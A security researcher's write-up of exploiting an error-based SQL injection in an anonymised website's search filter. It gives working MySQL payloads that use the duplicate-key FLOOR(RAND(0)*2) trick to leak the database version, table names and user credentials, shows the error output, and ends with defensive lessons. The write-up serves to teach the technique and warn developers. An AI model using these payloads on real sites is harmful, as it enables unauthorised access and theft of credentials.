Hi everybody I don’t post much write-ups online because most of the work done privately and under NDA.

But this time i decided to publish this (anonymously after website owner agreed ) because too many developers insists that you can’t exploit complicated SQL , or non result SQL (example: count(*) sql).

Note: You can automate everything in this article using SQLMap, but i choose to exploit it manually to explain under the hood proccess.

First I got a call from one of my friends told me that a hacker contacted them and told them that he found a sql-injection in their website and express his intentions to blackmail them.

I opened the website and tried to play with the parameter just to check , in a couple of minutes i found a bug in their search page . search page make ajax request when you filter the result to the page , the term parameter is the one is not filtered.

/?FilterThemes?tags[]=free&term='

it generates a database error page with full sql dump ( debug mode is ON :) ).

ERROR 1064
You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near '',themes.tag_title) != 0' at line 1
SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(''',themes.tag_title) != 0 or `themes`.`title` like '%'%' or `themes`.`desc` like '%'%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12

Awesome , but oh wait …

the parameter pass first to count query before it pass to aggregate query.. so must our payload pass the two queries and execute it with union..

OR …

I remembered uncommon way we used it to exploit blind SQL injection which don’t generate any result to the browser — this way can done only if errors is displayed, great that what we have here , right!

The POC

lets change the payload for a poc

/?FilterThemes?tags[]=free&term=d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='

BINGO :)

ERROR 1062 
Duplicate entry 'hello1world' for key 'group_key'
SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET('d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='',themes.tag_title) != 0 or `themes`.`title` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='%' or `themes`.`desc` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12

Did you notice :) , the expression CONCAT('hello',FLOOR(RAND(0)*2),'world') has been evaluated and displayed :)

let me explain the sql query and how it works before we finish our exploit.

There is some information you needs to know about MySQL.

  1. When mysql try to run a sql with multiple sub queries in it , it evaluate the sub queries first then the parent.

  2. When using group by required a unique key.

To understand more, lets try some queries on our terminal.

Select count(*) from INFORMATION_SCHEMA.CHARACTER_SETS;

Normal count sql to count the number of records inside Information Scheme database (default database in mysql). now lets play with this sql a little.

select count(*), version() x from INFORMATION_SCHEMA.CHARACTER_SETS group by x

again nothing special , we added version() (function retrieve the mysql version) and named it x and then we grouped by it.

+----------+----------------------------------------+
| count(*) | x                                      |
+----------+----------------------------------------+
|       40 | 10.2.3-MariaDB-10.2.3+maria~xenial-log |
+----------+----------------------------------------+

I use maria db in my local machine , its a fork from mysql but with much optimization

Lets be aggressive

SELECT count(*), CONCAT(version(),floor(rand(0) *2)) x from INFORMATION_SCHEMA.CHARACTER_SETS group by x;

We added a little change ( floor(rand(0) * 2) ) and if you run this sql you will get

ERROR 1062 (23000): Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'

Do you remember the information i told you before about Mysql requires group key to be unique :).

the ( floor(rand(0) * 2) ) generates a sequence of 0, 1, 1, 0, 1, 1 and the version() will be always the same.

so the sequence of calling count(*) will be

  • CONCAT(version(),floor(rand(0) *2)) = 10.2.3-MariaDB-10.2.3+maria~xenial-log0
  • CONCAT(version(),floor(rand(0) *2)) = 10.2.3-MariaDB-10.2.3+maria~xenial-log1
  • CONCAT(version(),floor(rand(0) *2)) = 10.2.3-MariaDB-10.2.3+maria~xenial-log1 //Duplication

So we got the error duplicate in the third attempt

Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'

do you got it :)

Extract some data

We got the error , we got the leak .. now we need some valuable informations.

Starting with INFORMATION_SCHEME.tables , we can grab tables names.

With simple script we can grab all tables names by extracting the result from the db error , just feed the script with payload.

%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%

Now we know the users table. modifying the script with the new payload to grab users data.

%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select concat(username,'-',password) from users LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%

Thats it.

Lesson learned

  1. Always turn errors off in production.
  2. Don’t underestimate any bug , 99% of bugs can be exploited somehow.

Stay safe.